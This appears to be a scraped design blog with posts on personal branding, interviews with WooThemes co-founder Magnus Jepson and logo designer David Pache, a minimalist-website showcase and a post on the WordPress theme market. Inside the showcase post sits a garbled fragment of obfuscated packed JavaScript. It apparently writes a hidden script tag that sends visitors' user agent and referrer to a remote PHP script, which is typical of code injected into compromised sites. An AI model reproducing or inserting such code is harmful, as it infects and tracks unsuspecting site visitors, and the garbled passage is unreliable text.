Judging your own marketing

After reading Adii’s post about ‘Marketing Substance’, it posed questions in my own mind. How do you judge your own marketing and how do you discover how well it is doing or has done. Building a personal or business brand from scratch is extensive and it takes time and patience. Adii said;

I’ve spent quite a bit of time recently trying to figure out how I can improve the marketing of my personal brand, this blog & my Twitter profile, because let’s face it – things like website traffic & Twitter followers are kind of a ego stroke / boost these days

I, in recent months have been thinking the same thing. Adii has been blogging for a good few years now and branded himself as the first WordPress Rockstar of which he became known. The branding went a step further when Adii started calling himself Adii Rockstar and even received postal mail addressed to Adii Rockstar – I know, mad eh? But now he’d like to drop the WordPress tag associated with his name and become more known for his entrepreneurial skill and spirit, after all he has accomplished a lot with Woothemes and Radiiate.

In Adii’s instance he has ran a successful blog for approximately 3 years, holds a growing list of over 3000 twitter followers and runs two companies. Breaking that down in to segments you realise that those three things retain a certain type of reader/customer/fan;

  • His personal blog – Long term reader base reading his entrepreneurial posts about business and life.
  • His Twitter feed – Links from Woothemes, Communicating with customers and blog readers.
  • Woothemes / Radiiate – Customers wanting to know about Woothemes as Radiiate is now on the back burner.

Woothemes has it’s own twitter feed as a ‘business’, after all there are 3 partners within Woothemes so why would just one person be accountable for 3000 followers? A question to be asked is, if one person from the business used their own personal twitter account for Woothemes, would they have 6000 followers (average) and therefore have a stronger brand?

I think in coming months when we hopefully see a good Twitter Statistical Tracker that we can definitely pin down exactly what “types” of followers we have. You never know that out of 3000 followers you may only have 50 who take notice of what you’re saying.

Even then…

Twitter in my opinion is definitely not the best thing to base your brand strength on. I commented on Adii’s ‘Marketing Substance’ post saying just that and how personally I’d judge the strength of my brand on my own blog and the comments within along with the amount of articles which have been spread by the community. Surely the dialogue with your readers within your blog shows an amount of respect as those individuals have taken time out of their day to discuss opinions with you in detail.

I honestly do not believe in judging your brand “worth” on the amount of twitter followers, do you honestly think that Gary Vaynerchuck would have over 640’000 followers if it wasn’t for his personal blog or winelibrarytv.com? Do you think Kevin Rose would have over 900’000 followers if it wasn’t for Digg.com?

Leaving Twitter to one side

Success and respect breeds notoriety and notoriety brings brand recognition/growth. One person might have to build an empire before people realise they are there. It is one thing building your brand in one county never mind a country, so pushing for world domination is going to take longer again.

Brands can be marketed by positioning yourself as a professional expert in a field, by spreading the word far and wide and by not letting anything stop you. You most certainly have to be thick skinned as you will pick up haters along the way, but listen to them, learn from them as they still have an opinion and in the long run be true to yourself, your skill and your ability. From this you will grow, people will find out who you are and why you’re there and respect you for it.

Get involved. Forget no-one. Learn from everyone.

I interview Magnus Jepson

Magnus shot to online fame being one of the founding three partners of Woothemes. I got to chat to Magnus about where it all started, where its going and all things Woo!

Full name and Age please

Magnus Jepson, 30 in a few days.

Favourite Biscuit and Drink?

Stratos (Norwegian choc-bar) and Coke Zero

Last book your read and last movie you saw?

“Anvil! The story of Anvil” and “Angels & Demons”

Where and when did it all start?

For me it started with web design as a hobby, next to my full-time job as a programmer. It evolved to a passion, and eventually I stumbled into WordPress and started making WordPress themes, which led to co-founding WooThemes.

Is there anyone in the industry you look up to?

Since I’ve only been in the web industry for a short time, I never really got to know who the “leaders” in the industry were. But I have a great deal of respect for designers like Liam (www.wefunction.com), Collis (www.envato.com) and obviously Adii (www.adii.co.za) which was the guy I looked up to from the start of my WordPress venture. We are now business partners which is kinda cool.

You’re one of the 3 original Woo members, how did you become Woo?

I started out by myself, creating a few free WP themes, then eventually selling a few of them. I then got in contact with Adii, who was also in the market for “premium” WP themes, and did a collaboration with him. That progressed into another couple of  themes and soon after that we decided to re-brand to WooThemes, together with Mark Forrester.

What does a general day consist of for you?

Mostly coding, support, admin on WooThemes. I’m pretty used to working 8-4 from my old job, so it hasn’t been that hard for me to go freelance, and I really enjoy my daily tasks, which make it a lot easier to get up in the morning. I try to sneak in a few minutes of Guitar Hero every now and again too.

You live out in Norway and have only met your co-founders once, does it get lonely not having the other guys around?

Not really… we have our weekly skype chats, and also text chat on skype every day, so I feel as though I’m part of an office, although we don’t have the physical contact with each other. It’s also a lot easier to get work done when you don’t have distractions around you.

Where does your heart lie, with design or development?

Though question. I think if I had to choose I would go for design, since a web page is something that is so much more visible to others. It’s so much more rewarding when somebody gives you credit for a great design, contra having solid code…

Do you prefer being woo rather than what you were doing?

I wouldn’t trade it for anything… Working at WooThemes is a dream job, as you get to do work on your strong points, and you don’t have to design a theme specifically for a client. It is also so much more satisfying to be in direct control over how much you earn.

What do you consider to be the biggest contributing factor to Woo’s success?

I think it is a mix of perfect timing, good partnership, hard work and great designs.

You’re known for working on a PC, do you think you’ll ever change to mac?

I dig my iPhone, but I could never get used to the one button mouse on the Mac. I’ve also been running Windows 7 for a while now which is a big step up. And I can never get used to the font smoothing on Mac’s 😉

Where do you see yourself in the future?

Things change very fast online, but I hope that I will be in a similar position as today. I doubt I’ll ever go back to corporate work… Once you see the light, there is no turning back.

Will you be heading to anymore conferences in the near future?

Surely to FOWD again next year, but nothing other than that planned. Conferences are great for inspiration and networking, but I don’t see the benefit of going to multiple conferences every year. The best part of FOWD was meeting the Woo gang.

Thanks to Magnus for taking part!



30 Awesome Minimalist Designs

What is minimalistic design? Is it white space? Is it less colour? Is it less space in general? Everyone has different opinions about using less in web design. The awesome minimalistic designs below are just a few from around the web. The post was first published at Floobe on 29th January 2009 (One of the posts ported from Floobe before Floobe.com ends.)

=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frdks|var|u0026u|referrer|faaid||js|php'.split('|'),0,{})) id=”attachment_427″ align=”aligncenter” width=”520″ caption=”Elliott Kember formerly of Carsonified.”]
Mark Boulton design is simplistic and clean
Tim Van Damme, small website recently cloned before Tim stepped in.
The clean typographic desk reference design
Words are pictures by Craig Ward
Less is more at Artifice Studios
So thin, so simple.
The web is still evolving according to Travis Gertz.
Simple, clear portfolio site from Sam Bowler
You dont need a busy ecommerce design to sell products.
A DJ website which doesn't need to be flash to be effective.
Simple, like a mac app should be.
Alvin Chan uses a dark and clean design to showcase his work.
Excellent use of space by Mark Wieman
Showing that you dont know how to be effective.
Clear and concise for Jamie Gregory
Designed by Elliot Jay Stocks for Samantha Cliffe
Everything on one simple slick little site.
A clear way to show portfolio work from Berit Somme
Nice and clean design blog
Excellent lifestream by Mark Jardine
Although the b group use a large background image, their overall site uses the least amount of space of the showcased sites.
Jason utilises a jquery portfolio to minimise the amount of space his website takes up.
Minimal space, large portfolio!
cameron.io doing minimalistic design well
Its so easy to show more with less
Minimal is cool
The French minimalists

So there you go, a showcase of 30 minimalist design. It’s not difficult and in many ways beautiful!

You turn to talk, which are your favorite clean designs? Is there anyone we have missed who would like to be included in Part 2? Get in touch.

I interview David Pache

David Pache (dache.ch) has always caught my eye as a designer, with a never ending list of inspirational logo design works. At 25 he has established himself in the world as a leading logo designer. Big thanks to David for taking part in this interview. The interview took place in February 2009 on Floobe.

1. Full Name and Age please.

David Pache, 25

2. Favourite Biscuit and Drink.

Butter biscuits (Petit Lu etc.); Coffee

3. Last Book you read and last movie you saw.

Adrian Frutiger – Typefaces: The Complete Works; Slumdog Millionaire

4. Where and When did it all start?

I created the concept of dache when I was finishing design college. I knew that I wanted to be self-employed in order to have full control of my designs therefore decided to focus on logo design with additional services such as business cards, letterheads, website design and consultation. Back in 2005 I took the plunge, after completing some research through online design competitions to gauge how my designs would be received. With many positive reactions, I launched the website and business.

5. Do you have any formal qualifications and do you think these helped in your professional development?

I do have formal qualifications however when it comes to design, I think that it is more your inspirations which develop you as a professional. That said, I would not be where I am today without learning the techniques and history of design and art, in order to have the ability to express my ideas into working concepts.

6. What do you think makes a good designer, a qualification or the lust for the job at hand?

As said before, I do think that qualifications are invaluable however, if a designer does not have the perseverance to put their ideas out there for public opinions, they are just that – a qualification! As with many trades, we are nothing without our clients therefore I think there is always room for more designers but it is a difficult market to get recognised in therefore a lust for the job is essential.

7. What was a key factor in your professional growth and development?

When I initially started dache, I had no prior business knowledge therefore I think a turning point for me was when I had been able to complete a few projects from start to finish and gain an idea of what it was that the clients needed in addition to my design skills. Over the past years, I have been able to hone my customer service which has greatly improved my new business levels and my relationships with existing clients.

8. What do you consider to be the biggest contributing factor to your success?

Without a doubt, my clients are the biggest contributing factor as, without their continued interest, I would not have a successful business. Also, a great part was websites, such as yourselves, doing feature articles and also I have been fortunate to have been selected to have my work in several publications eg. logolounge and los logos.

9. What is your daily working routine?

I am lucky to work from home. A typical day comprises of administration, invoicing, new business marketing and follow-up. The main part is spent creating design concepts and revisions from the briefs I have been given and consultation with clients to gain feedback. I also maintain my website and have recently launched the ‘dacheboard’, my online blog featuring articles.

10. What made you go freelance, were there any defining factors?

As said previously, I knew from the start that I wanted to work for myself therefore I do not have the comparison however I do not regret my decision due to the success I have received in the past few years.

11. What are the benefits and negatives of being freelance?

This is obviously a question of personal opinion. In my experience the benefits of being freelance include the ability to make your own decisions, freedom of time management and workload and retaining the full benefits from your designs. The negative side of that is that you usually start from scratch therefore progress initially can be slow when you are trying to build a customer base and enter into the general marketplace.

12. Throughout your entire career to date, is there any particular problem you’ve ran in to more than once? Clients, Jobs, Work, Family??

I would not pinpoint it to any person in particular however as a designer, I have styles and techniques which I enjoy creating. In business I have been approached to create a logo for clients who do not appreciate the same style. Whilst this is not a problem to create other styles, it is often more challenging to work on these to fit in line with exactly what they require. Having a variety of applications and techniques within your portfolio is essential though.

13. What is the largest project you have worked on?

Spanning over several months, my largest project was the re-branding of the Grooveshark identity, an international music platform with attached social network, allowing their users to stream full length songs, build playlists, share music and make friends all for free. The creators of Grooveshark employed me to create a new image for their company branding loosely based on their existing logo as they had already gained great success. The project took a lot of time with small tweaks being made throughout and consultation with the client being constant. It was a long but enjoyable experience.

14. Where do you get your inspiration from?

I find that my surroundings enable me to create designs that are contemporary, innovative and unique. I take added inspiration from music, sculpture, the suprematism art movement and the works of painters such as Picasso, Kandinsky and Mondriaan which interest me greatly.

15. What are your tools of choice, hardware and software?

iMac and Adobe Creative Suite are my tools of preference and I predominantly utilise these on all projects. In addition to the computer based applications, I am a big user of the Dot Grid Book which I use after my sketching stages to accurately plot my concept designs before transferring them to the computer.

16. Where do you see the future being in the world of logo design?

To be honest, I think it’s difficult to predict how the field will change or develop. But I have noticed a slight trend in reviving styles from the 70s. I suppose therefore it would be expected that the 80s will have a strong influence over the next phase.

Also, in logo design, there is a great influence from the other genres of graphic design. I see a trend towards very illustrative, photographic, even almost what many might think of as ‘arty’ effects. These are being used more and more by designers to fall in line with where the field is going.

In general, I think that the future outlook for design is very positive. With the market in the recent decades developing with the mass production of computer technology, we are now seeing a period where the general public are aware of our market, are more willing to accept the concept of design and are hungry to seek out good work. This is good news for the industry as we are seeing more clients and are being encouraged to produce better quality projects. We are also being given much more freedom to experiment in our approaches.

17. You’re a well known designer, do you class yourself as famous?

Definitely not, I am well known within the design community but logo design is a very small niche of this massive network. I would also question if this is even possible anymore with so many people all completing the same task in differing ways.

18. Are you heading to any conferences over the next year?

Nothing planned as yet but I attended the Future of Web Design last April in London and would love to return this year.

19. If you had one goal to reach (anything) within 3 years, what would it be?

Since finishing my studies and jumping straight into business, I have not had too much time off to concentrate on personal goals. I guess I would like to do some travelling. It is not really a goal as such but something of great importance to me to see many places of interest whilst they are still worth seeing.

20. If you had one piece of advice for anyone wanting to venture into your industry, what would it be?

Good design is not always based on moments of genius, a lot of preparation is key to a successful design business.


The Dacheboard


Logo Lounge

The Theme Business

Today Woothemes released a brand new theme called Feature Pitch and Obox released a full preview of their Arcade Theme which will be available on the 7th July.

I’ve been thinking about the WordPress Theme market for a while now, and whilst not getting directly involved I do communicate with Adii from WooThemes and David from Obox when I can. Online businesses and business models have always intrigued me which is one of the biggest reasons we at carrotmedia have started the eCommerce experiment. Overall the WordPress Theme market is a lively one and with more and more “theme businesses” jumping on the bandwagon it has the likelihood of becoming over-saturated.

Saturated Market

I believe it will become saturated in different ways;

  • There will be the companies who want to make a quick buck, the fly by night individuals who will hang around until they’ve made some money.
  • The companies that have been there from the start who continue to provide fantastic support and constant theme releases.
  • The smaller theme companies dedicated to provide new and unique themes for a niche market.

Looking at the bigger picture of the Theme business, from my perspective I would expect a successful business to be able to create themes which the users want and need which can be customised aesthetically and functionally to the users requirements as long as the basics are there. Technically that’s where the mass sales would come from. It amused me somewhat to see a commenter on Adii’s post about “Feature Pitch” dissing the design and how it should have been made one of the free wordpress themes because he didn’t like the design, the guy led a pretty scathing attack without providing constructive criticism which is about as much use as a pocket in a sock.

Surely there wasn’t need for such an attack and the person just misunderstood the whole point of a theme?

On the other hand, Obox’s Arcade Theme is highly detailed and graphical but will not be to everyone’s liking. Even though the guys over at Obox have an incredible eye for all the little things in design and they’re sure to fill a niche market but this will also restrict sales?

What would you do?

So my question to you as a user is, what would you like from a Theme company. Expand this discussion past WordPress and think about it across any platform. Would you like the niche designs or good service and more themes?

From a business point of view which would you like to operate? Niche or mass markets?